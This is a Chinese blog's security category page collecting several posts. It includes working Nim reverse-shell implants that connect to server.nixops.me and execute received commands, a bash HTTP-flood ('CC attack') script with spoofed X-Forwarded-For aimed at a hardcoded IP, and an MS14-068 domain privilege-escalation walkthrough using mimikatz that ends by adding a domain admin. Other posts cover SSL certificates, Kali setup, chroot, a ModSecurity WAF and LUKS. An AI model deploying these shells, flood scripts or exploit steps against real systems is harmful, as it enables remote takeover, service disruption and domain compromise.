分类 网络安全 下的文章

nim语言实现跨平台反弹shell

在网上看到这个Nim语言,Python的语法,C的性能,还能跨平台,写了两个反弹shell玩了一下。

一、tcp 反弹shell,代自动重连功能

import net
import osproc
import os
import strutils

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var socket = newSocket()
    try:
        socket.connect(ip, Port(port))
        while true:
            try:
                socket.send(system.hostOS & "_" & system.hostCPU & "> ")
                var command = socket.recvLine()
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                socket.send(result)
            except:
                socket.close()
                break
    except:
        sleep(10000)
        continue

以上是被控端代码,控制端使用nc监听4444等待连接即可。

二、udp反弹shell

2.1 udp server控制端

import os
import strutils
import netty

var ip = "0.0.0.0"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

var server = newReactor(ip, port)
echo "Listenting for UDP on " & ip & ":" & intToStr(port)

while true:
  server.tick()
  for connection in server.newConnections:
    echo "[new] ", connection.address

  for connection in server.deadConnections:
    echo "[dead] ", connection.address

  for msg in server.messages:
    echo ">>> Receive Client MESSAGE: <<<", msg.data
    echo msg.data
    echo ">>> Client MESSAGE Finished !<<<"

  for connection in server.connections:
    var cmd = readLine(stdin)
    if cmd.len > 0:
      server.send(connection, cmd)
      echo ">>> Success Send Command: " & cmd & " TO:  ", connection.address

2.2 udp 客户被控端

import net
import osproc
import os
import strutils
import netty

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var client = newReactor()
    var c2s = client.connect(ip, port)
    client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
    while true:
        try:
            client.tick()
            var command = ""
            for msg in client.messages:
                command.add(msg.data)

            if command.len > 0:
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                client.send(c2s,result)
            if client.deadConnections.len > 0 :
                client.disconnect(c2s)
                break
        except:
            sleep(10000)
            continue

三、编译

nim c -d:danger -d:strip --opt:size tcp.nim
nim c -d:danger -d:strip --opt:size udpc.nim
nim c -d:danger -d:strip --opt:size udps.nim

四、总结

Nim优点: 好学、高性能、静态类型、跨平台、编译速度快
缺点也非常明显:生态比较差,标准库也不够完善,以上代码想用daemon方式运行就不行,标准库还没有实现

基本ab命令的cc攻击shell脚本

最近有需求要做个简单的压力测试,写了个简单的shell cc攻击脚本,功能都是基本ab命令的,ab支持的参数,脚本就可以都可以实现,但是我比较懒,没写那么多功能,主要有以下几个特点:

  1. 指定user-agent
  2. 指定攻击的IP和host头
  3. 可以伪造X-Forwarded-For,服务器配置错误时可以伪造访问IP
  4. 指定每个伪造IP的攻击并发和每个IP攻击次数
  5. 限制总伪造IP个数,实际攻击次数为total_count*ip_count
  6. 指定攻击的URI

ab功能比较多,有需求可以自己改造,此脚本比较耗cpu和网络,建议使用timeout命令限制下执行时间,以防服务器死机,脚本很简单不多说了

#!/bin/bash
#author : nixops.me
useragent='Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html);'
target_ip=103.235.46.40
fake_host=www.baidu.com
total_count=100000
ip_count=100
ip_concurrency=10
target_uri=index.php

function rand(){
    min=$1
    max=$(($2-$min+1))
    num=$(cat /dev/urandom | head -n 10 | cksum | awk -F ' ' '{print $1}')
    echo $(($num%$max+$min))
}

function ip(){
    a=$(rand 1 254)
    b=$(rand 1 254)
    c=$(rand 1 254)
    d=$(rand 1 254)
    echo $a.$b.$c.$d
}

function attack(){
    ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
    #timeout 1000 ab -n $ip_count -c $ip_concurrency -H "User-Agent: $useragent" -H "X-Forwarded-For: `ip`" -H "host: $fake_host" http://$target_ip/$target_uri >>/dev/null &
}

for ((i=0; i<$total_count;))
do
    attack &
    wait
done

限制执行时间为100秒,到期自动退出:

timeout 100 ./attack.sh

ssl证书的生成与签名

一些概念

KEY : 私钥文件,决定ssl安全的基础
CSR : 证书请求文件,包含公钥和证书信息
CA : 中级证书颁发机构,一般是可信的第三方,CA证书会验证公钥是否被认证
root CA:通过它的私钥对中级机构提交的CSR进行了签名

申请ssl证书需要用到openssl,linux系统中默认会安装,手动安装openssl:

yum install -y openssl openssl-devel

一.生成私钥

私钥是SSL安全性的基础,使用RSA算法生成,只有证书申请者持有,即使CA也没有对私钥的访问权限,应妥善保管。私钥长度决定其安全性,2009年768位RSA已被破解,1024位RSA短期内是安全的,但随着计算机越来越快,已不足以抵御攻击,为了安全起见应尽量使用2048位RSA,生成2048位私钥:

openssl genrsa -out nixops.me.key 2048

如果对安全性要求较高,可以用密码加密密钥文件,每次读取密钥都需输入密码:

openssl genrsa -des3 -out nixops.me.key 2048

二.生成CSR

证书签名请求文件(CSR)中包含了公钥和证书的详细信息,将CSR发送给CA认证后就会得到数字证书或证书链,生成CSR文件:

openssl req -new -sha256 -key nixops.me.key -out nixops.me.csr

按照提示输入:国家、省份、城市、组织名、部门、公共名称、邮件地址等,最后的extra信息不要填写,个人用户也可以使用默认或留空,只需注意‘Common Name’是要使用ssl证书的域名,根据实际情况,可以写单域名,多个域名,或使用‘*’通配域名
验证CSR文件信息:


openssl req -noout -text -in  nixops.me.csr

确认信息正确就可以提交给ca进行认证,CA会根据你的CSR文件进行签名,之后颁发数字证书,该数字证书和私钥就可以部署到服务器了;通常ca认证需付费,普通ssl证书不贵,也有一些提供免费的证书的ca,如startssl、Let's Encrypt等

三.自签名

在某些情况下,如内网https的应用,不需要付费使用第三方签名,此时就可以使用自签名证书。自签名分两种:

  1. 使用自己的私钥签发自己的csr生成证书,也可以直接生成私钥和证书
  2. 生成ca,使用ca签发

生成ca的好处是:客户只要手动信任该ca一次,即可信任该ca签发的所有证书,不需要为每个证书添加信任

3.1 使用自签名

使用上面生成的私钥签发证书:


openssl x509 -req -days 365 -in nixops.me.csr -extensions v3_ca -signkey  nixops.me.key  -out nixops.me365.crt

或者直接生成私钥和证书:

openssl  req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout nixops.me.key -out nixops.me.crt

可以使用chrome浏览器导出证书并安装到windows信任证书中,安装后浏览器地址栏的https就会变成绿色。导出方法:访问https网站,点击地址栏上有红色叉的锁型图标,点击详细信息,点击查看证书,在弹出的证书窗口中点击详细信息选项卡,点击复制到文件,之后按证书导出向导的提示即可导出

3.2 使用ca签名

生成 CA:


openssl genrsa -out CA.key 2048
openssl req -new -x509 -key CA.key -out CA.cer -days 36500 -subj /CN='Nixops.me CA'

使用ca签发证书:

openssl x509 -req -in nixops.me.csr -extensions v3_usr -CA CA.cer  -CAkey CA.key  -CAcreateserial -out nixops.me.crt

为了更好的兼容浏览器,还需:

cat CA.cer >> nixops.me.crt

客户端手动信任CA.cer即可,windows下可以双击安装

参考文章:
http://www.51ean.com/interaction/safety_information_details.html?postId=585
http://blog.csdn.net/tenfyguo/article/details/40922813
http://www.wosign.com/Basic/index.htm
http://www.cnblogs.com/kyrios/p/tls-and-certificates.html

kali 2.0安装后的一些配置

1.开启root密码登陆

默认安装后无法使用密码登陆,编辑/etc/ssh/sshd_config:

vim /etc/ssh/sshd_config
#PermitRootLogin without-password  找到此行,注释掉
PermitRootLogin yes  #新增此行

重启ssh服务并设置开机启动:

systemctl restart ssh
systemctl enable ssh

2.修复apt-get的Segmentation fault错误

使用iso安装完kali 2.0后执行升级:

root@kali:~# apt-get update
Segmentation fault
正在读取软件包列表... 完成

这是因为安装完后,默认没有更新源导致的,修复:

vim /etc/apt/sources.list

加入:

deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free

执行升级:

apt-get update && apt-get dist-upgrade

3.增加一个非root用户

root用户的权限太大,脑袋一短路容易搞挂系统,推荐平时用普通用户配合sudo操作

useradd -m 52os
passwd 52os

加入sudo :


usermod -a -G sudo 52os

4. 修复vlc无法用root运行

vlc和chrome一样默认无法用root运行,在root下,即使在命令行用su - 52os切换到普通用户仍然无法运行vlc,当然你可以注销登陆普通用户运行,但是太麻烦,修复方法:

cp /usr/bin/vlc /usr/bin/vlc.bak  #备份
vim /usr/bin/vlc
搜索geteuid,将其替换为getppid,保存退出即可

5.安装漏洞王 flash

flash的漏洞太多了,安装flash会大大降低浏览器和系统的安全性,尤其是使用root用户时,我相信kali玩家都非常懂安全,如果不介意降低安全性:

apt-get install flashplugin-nonfree

现在支持html5的网站越来越多了,还是让flash默默的死去吧

6.安装中文输入法

个人喜欢fcitx,安装:


apt-get install fcitx fcitx-pinyin fcitx-googlepinyin
fcitx-configtool   #配置输入法

7.安装vpn

apt-get install network-manager-pptp-gnome network-manager-openvpn-gnome network-manager-vpnc   network-manager-vpnc-gnome 
 systemctl restart network-manager

8.安装虚拟机增强功能

以virtualbox为例,其他虚拟机也类似,无论是哪个虚拟机的增强功能,都要先安装linux headers包:

apt-get install linux-headers-$(uname -r)

点击virtualbox的安装增强功能,将光驱文件复制到tmp,给执行权限运行安装程序:

cp -r /dev/cdrom0/* /tmp 
chmod +x /tmp/*.sh /tmp/*.run
/tmp/VBoxLinuxAdditions.run

我是在win10下用hyper-v初步体验了一下kali 2.0,感觉:你值得拥有!

参考文章:
http://docs.kali.org/general-use/kali-linux-sources-list-repositories

chroot用法和安装脚本

chroot是操作系统级的“虚拟机”,其功能是切换程序运行时的根目录,将程序限制在指定的根目录中,从而隔离应用程序。在chroot中运行的程序实际上使用的是真实系统的内核和资源,所以性能不会有损耗。
其好处主要有:

  • 增强主机安全性

在chroot中的程序不会访问到真实的系统文件,如真实系统的passwd等文件,和Windows下的沙箱类似,尤其适合对高风险的应用,如web等

  • 独立的程序运行环境

运行在chroot中的程序使用的是chroot中的资源,不会使用主机提供的库文件等。要想在程序能在chroot中运行,就要解决依赖关系,所以用chroot还可以把程序“绿色化”,配置好的chroot环境,打包好丢到其它服务器直接就可以运行。这一特性也方便了运维和开发。

  • 限制资源访问

可以限制chroot环境中用户能使用的命令,例如:如果不想用户使用passwd命令,不要把passwd命令放到chroot环境中就行了。出与安全考虑运行在chroot中的程序建议给最小权限。

所需条件:

  1. 相同的内核,linux和*BSD是不同的
  2. chroot需要root权限
  3. 一个可运行的shell

建立一个最小的chroot环境:
chroot目录是/opt/chroot,在其下面建立一个bin目录,存放shell,这里用默认的bash

mkdir  -p /opt/chroot/bin  

拷贝bash二进制文件:


cp /bin/bash /opt/chroot/bin 

解决bash的依赖关系:

ldd /bin/bash
linux-vdso.so.1 => (0x00007fffd95ff000)
libtinfo.so.5 => /lib64/libtinfo.so.5 (0x00007f82a7b54000)
libdl.so.2 => /lib64/libdl.so.2 (0x00007f82a7950000)
libc.so.6 => /lib64/libc.so.6 (0x00007f82a75bb000)
/lib64/ld-linux-x86-64.so.2 (0x00007f82a7d7e000)

整理一下格式:

ldd /opt/chroot/bin/bash|grep -o "/\(\usr\|lib\).[^ \ ]*"
/lib64/libtinfo.so.5
/lib64/libdl.so.2
/lib64/libc.so.6
/lib64/ld-linux-x86-64.so.2

所有依赖的库文件都在/lib64下,在/opt/chroot目录下建立lib64目录,并将依赖的库拷贝进去:

cp $(ldd /opt/chroot/bin/bash | grep lib64 | sed -sre 's/(.+)(\/lib64\/\S+).+/\2/g') /opt/chroot/lib64/

运行chroot:

chroot /opt/chroot 

格式:


 chroot chroot目录 shell

这样就进入了chroot环境,这时只能使用pwd、cd这类bash内置的命令,没有ls、mkdir这类系统的命令,想运行哪个命令用相同的方式加入chroot环境。退出chroot环境直接exit即可。

对于简单的系统命令或软件可以这样配置,如果是nginx、python这类依赖非常复杂的软件,不建议这样做。我的做法是在centos下安装一个centos的base系统到chroot目录,大概有300多兆,在配置好环境后并精简掉没用的软件。精简要比解决依赖关系容易多了,做好这个后可以打包拿到其它linux内核的系统上使用。

直接上脚本:`

#!/bin/sh
#
# Build a chroot with a CentOS 6.6 base install.
#

CHROOT=/tmp/chroot

mkdir -p $CHROOT/var/lib/rpm
rpm --rebuilddb --root=$CHROOT

wget http://mirror.centos.org/centos/6.6/os/x86_64/Packages/centos-release-6-6.el6.centos.12.2.x86_64.rpm
rpm -i --root=$CHROOT --nodeps centos-release-6-6.*.rpm

yum --installroot=$CHROOT install -y rpm-build yum

mkdir -p $CHROOT/proc
mount --bind /proc $CHROOT/proc

mkdir -p $CHROOT/dev
mount --bind /dev $CHROOT/dev

mkdir -p $CHROOT/etc
cp /etc/resolv.conf $CHROOT/etc/resolv.conf

mkdir -p $CHROOT/root
cp $CHROOT/etc/skel/.??* $CHROOT/root

rm -rf centos-release-6-6.*.rpm


参考文章:

http://www.cyberciti.biz/faq/howto-run-nginx-in-a-chroot-jail/
https://wiki.archlinux.org/index.php/Nginx

nginx配合modsecurity实现WAF功能

modsecurity原本是Apache上的一款开源waf,可以有效的增强web安全性,目前已经支持nginx和IIS,配合nginx的灵活和高效,可以打造成生产级的WAF,是保护和审核web安全的利器。

一.准备工作

系统:centos 6.5 64位、 tengine 2.1.0, modsecurity 2.8.0

  1. tenginehttp://tengine.taobao.org/download/tengine-2.1.0.tar.gz
  2. modsecurity for Nginx: https://www.modsecurity.org/tarball/2.8.0/modsecurity-2.8.0.tar.gz
  3. OWASP规则集https://github.com/SpiderLabs/owasp-modsecurity-crs

依赖关系:
tengine(nginx)依赖: pcre 、zlib、 openssl, 这三个包centos 6.5 系统源里都有:

yum install zlib zlib-devel openssl openssl-devel  pcre pcre-devel

modsecurty依赖的包:pcre httpd-devel libxml2 apr

yum install httpd-devel apr apr-util-devel apr-devel  pcre pcre-devel  libxml2 libxml2-devel


二.启用standalone模块并编译

下载modsecurity for nginx 解压,进入解压后目录执行:

./autogen.sh
./configure --enable-standalone-module --disable-mlogc
make 

三.nginx添加modsecurity模块

在编译standalone后,nginx编译时可以通过"--add-module"添加modsecurity模块:

./configure --add-module=/root/modsecurity-2.8.0/nginx/modsecurity/  --prefix=/opt/tengine
make && make install

四.添加规则

modsecurity倾向于过滤和阻止web危险,之所以强大就在于规则,OWASP提供的规则是于社区志愿者维护的,被称为核心规则CRS(corerules),规则可靠强大,当然也可以自定义规则来满足各种需求。

1.下载OWASP规则:

git clone https://github.com/SpiderLabs/owasp-modsecurity-crs

mv owasp-modsecurity-crs /opt/tengine/conf/

cd /opt/tengine/conf/owasp-modsecurity-crs && mv modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf

2.启用OWASP规则:

复制modsecurity源码目录下的modsecurity.conf-recommended和unicode.mapping到nginx的conf目录下,并将modsecurity.conf-recommended重新命名为modsecurity.conf。

编辑modsecurity.conf 文件,将SecRuleEngine设置为 on

owasp-modsecurity-crs下有很多存放规则的文件夹,例如base_rules、experimental_rules、optional_rules、slr_rules,里面的规则按需要启用,需要启用的规则使用Include进来即可。

Include owasp-modsecurity-crs/modsecurity_crs_10_setup.conf
Include owasp-modsecurity-crs/base_rules/modsecurity_crs_41_sql_injection_attacks.conf
Include owasp-modsecurity-crs/base_rules/modsecurity_crs_41_xss_attacks.conf
Include owasp-modsecurity-crs/base_rules/modsecurity_crs_40_generic_attacks.conf
Include owasp-modsecurity-crs/experimental_rules/modsecurity_crs_11_dos_protection.conf
Include owasp-modsecurity-crs/experimental_rules/modsecurity_crs_11_brute_force.conf
Include owasp-modsecurity-crs/optional_rules/modsecurity_crs_16_session_hijacking.conf

五.配置nginx

在需要启用modsecurity的主机的location下面加入下面两行即可:

ModSecurityEnabled on;  
ModSecurityConfig modsecurity.conf;

下面是两个示例配置,php虚拟主机:

server {
      listen      80;
      server_name nixops.me www.nixops.me;
     
      location ~ \.php$ {
      ModSecurityEnabled on;  
      ModSecurityConfig modsecurity.conf;

      root /web/wordpress;
      index index.php index.html index.htm;
  
      fastcgi_pass   127.0.0.1:9000;
      fastcgi_index  index.php;
      fastcgi_param  SCRIPT_FILENAME  $Document_root$fastcgi_script_name;
      include        fastcgi_params;
      }
  }

upstream负载均衡:

upstream nixops.me {
    server 192.168.1.100:8080;
    server 192.168.1.101:8080 backup;
}

server {
listen 80;
server_name nixops.me www.nixops.me;

location / {
    ModSecurityEnabled on;  
    ModSecurityConfig modsecurity.conf;  

        proxy_pass http://online;
        proxy_redirect         off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

六.测试

我们启用了xss和sql注入的过滤,不正常的请求会直接返回403。以php环境为例,新建一个phpinfo.php内容为:

<?php
    phpinfo();    
?>

在浏览器中访问:

http://www.nixops.me/phpinfo.php?id=1 正常显示。
http://www.nixops.me/phpinfo.php?id=1 and 1=1  返回403。
http://www.nixops.me/phpinfo.php?search=<scritp>alert('xss');</script>  返回403。

说明sql注入和xss已经被过滤了

七、安装过程中排错

1.缺少APXS会报错

configure: looking for Apache module support via DSO through APXS
configure: error: couldn't find APXS

apxs是一个为Apache HTTP服务器编译和安装扩展模块的工具,用于编译一个或多个源程序或目标代码文件为动态共享对象。
解决方法:

yum install httpd-devel

2.没有pcre

configure: *** pcre library not found.
configure: error: pcre library is required

解决方法:

yum install pcre pcre-devel

3.没有libxml2


configure: *** xml library not found.
configure: error: libxml2 is required

解决方法:

yum install  libxml2 libxml2-devel

4.执行 /opt/tengine/sbin/nginx -m 时有警告

Tengine version: Tengine/2.1.0 (nginx/1.6.2)
nginx: [warn] ModSecurity: Loaded APR do not match with compiled!

原因:modsecurity编译时和加载时的apr版本不一致造成的,并且会有以下error.log

2015/01/26 02:04:18 [notice] 29036#0: ModSecurity for nginx (STABLE)/2.8.0 () configured.
2015/01/26 02:04:18 [notice] 29036#0: ModSecurity: APR compiled version="1.5.0"; loaded     version="1.3.9"
2015/01/26 02:04:18 [warn] 29036#0: ModSecurity: Loaded APR do not match with compiled!
2015/01/26 02:04:18 [notice] 29036#0: ModSecurity: PCRE compiled version="7.8 "; loaded version="7.8 2008-09-05"
2015/01/26 02:04:18 [notice] 29036#0: ModSecurity: LIBXML compiled version="2.7.6"
2015/01/26 02:04:18 [notice] 29036#0: Status engine is currently disabled, enable it by set SecStatusEngine to On.

解决方法,移除低版本的APR (1.3.9)

yum remove apr

5.Error.log中有: Audit log: Failed to lock global mutex

2015/01/26 04:15:42 [error] 61610#0: [client 10.11.15.161] ModSecurity: Audit log: Failed to lock     
global mutex: Permission denied [hostname ""] [uri "/i.php"] [unique_id "AcAcAcAcAcAcAcA4DcA7AcAc"]

解决方法:
编辑modsecurity.conf,注释掉默认的SecAuditLogType和SecAuditLog,添加以下内容:

SecAuditLogDirMode 0777
SecAuditLogFileMode 0550
SecAuditLogStorageDir /var/log/modsecurity
SecAuditLogType Concurrent

参考文章:
https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#Installation_for_NGINX
http://drops.wooyun.org/tips/2614

ms14-068(CVE-2014-6324)漏洞实战

MS14-068漏洞是微软2014年11月19日发布的补丁,修复了CVE-2014-6324高危漏洞,这是一个域内特权提升漏洞,号称内网杀手,允许攻击者提升普通域账号为域管理员账号。漏洞原理不多说,看实战步骤:

一.准备工作

1.一个域内普通账号及密码
2.客户机要装python,域服务器和客户机没打MS14-068补丁,有杀软的自己想办法干掉
3.POC : ms14-068.py 下载地址: https://github.com/bidord/pykek
4.mimikatz 2.0 :下载地址: https://github.com/gentilkiwi/mimikatz/releases

二.开始

先看一下poc的用法:

USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-p <clearPassword>
--rc4 <ntlmHash>

userName@domainName :普通域账号
usersid :该普通账号的sid 可以用 whoami /all 来查看
domainControlerAddr:域控服务器地址

我的信息是:
账户:test@52os.net 密码:123456 sid:S-1-5-21-1156765339-1089940178-2237897153-1198 域控:192.168.1.254

python ms14-068.py -u test@52os.net -s S-1-5-21-1156765339-1089940178-2237897153-1198 -d 192.168.1.254
Password:
[+] Building AS-REQ for 192.168.1.254... Done!
[+] Sending AS-REQ to 192.168.1.254... Done!
[+] Receiving AS-REP from 192.168.1.254... Done!
[+] Parsing AS-REP from 192.168.1.254... Done!
[+] Building TGS-REQ for 192.168.1.254... Done!
[+] Sending TGS-REQ to 192.168.1.254... Done!
[+] Receiving TGS-REP from 192.168.1.254... Done!
[+] Parsing TGS-REP from 192.168.1.254... Done!
[+] Creating ccache file 'TGT_test@52os.net.ccache'... Done!

执行完会在当前目录生成TGT_test@52os.net.ccache文件,然后用mimikatz注入。
mimikatz2.0版本才有kerberos::ptc这个模块,同时要注意对应系统版本,注入命令:

mimikatz.exe "kerberos::ptc TGT_test@52os.net.ccache"

如果执行成功会提示:
*Injecting ticket :OK

然后输入 exit,会得到一个和默认的cmd显示字体等不一样的命令行,这个就是注入session后的命令行。在这个命令行里,当前普通用户权限是在域管理员组里的,会用这个注入的session去连接域控执行命令。而且在域控的Domain Admins组和其他管理员组里是没有test@52os.net这个用户。

然后就可以为所欲为了,例如加域用户提权 :


net user hack 111111 /add /domain
net group "Domain admins" hack /add /domain

参考文章:
http://www.secpulse.com/archives/2277.html
http://zone.wooyun.org/content/17102

kali更改开机加密密码

KALI的磁盘加密是用LUKS(Linux Unified Key Setup)加密的,这个软件不是kali/debian/ubuntu上特有的,各版本的linux都支持,使用AES加密,格式和truecrypt是兼容的,可以在加密后的磁盘上创建任意文件系统,但是加密后的磁盘不能直接挂载,必须要将分区映射到/dev/mapper下,所以为了方便管理磁盘,操作系统安装时都采用了 LVM on LUKS的方式,也就是全盘加密并在上面创建lvm分区。
LUKS的特点:

  1. 简单,安全,高效
  2. 支持全盘或分区加密
  3. 加密密匙独立于密码,支持多个密码,可以直接更改密码,不需要重新加密磁盘或分区
  4. 底层加密,要先解密后才能加载文件系统

kali在安装是加密磁盘和LVM安装程序都自动搞好了,采用的是全盘加密,不用手动搞。改LUKS的解密密码,要先加一个新密码,在删除原来的旧密码即可。千万不要直接删除原来密码(别问我是怎么知道的 TT~)
添加新密码:

cryptsetup luksAddKey /dev/sda5

先输入已经存在的密码,通过认证后在输入要加的新密码。

移除旧密码:

cryptsetup luksRemoveKey /dev/sda5

之后输入要删除的密码就可以直接移除了。
如果系统只有一个密码时,也是可以删掉的,这时会提示:

root@kali:~# cryptsetup luksRemoveKey /dev/sda5
Enter passphrase to be deleted:
WARNING!
This is the last keyslot. Device will become unusable after purging this key.
Are you sure? (Type uppercase yes):

这时输入大写的YES,就删除了所有的LUKS密码,然后你会发现,开机后输入什么密码都会提示密码不正确,磁盘无法解密了!

Kali linux 从1.0.6版本后提供了一个紧急自毁(nuke)的补丁,启动时输入正确的密码,正常启动系统;当输入设定的自毁密码时,会删除所有存在的LUKS密码达到自毁的效果,这就和上面情况的原理一样。
详细介绍和使用方法,请看官方FAQ:
https://code.google.com/p/cryptsetup/wiki/FrequentlyAskedQuestions

参考文章:
http://vnimos.blog.51cto.com/2014866/1175883
http://www.kali.org/how-to/emergency-self-destruction-luks-kali/

最新文章

最近回复

分类

归档

统计

  • 文章总数:167篇
  • 分类总数:5个
  • 评论总数:103条
  • 页面总数:171个
  • 本站运行:4854天

其它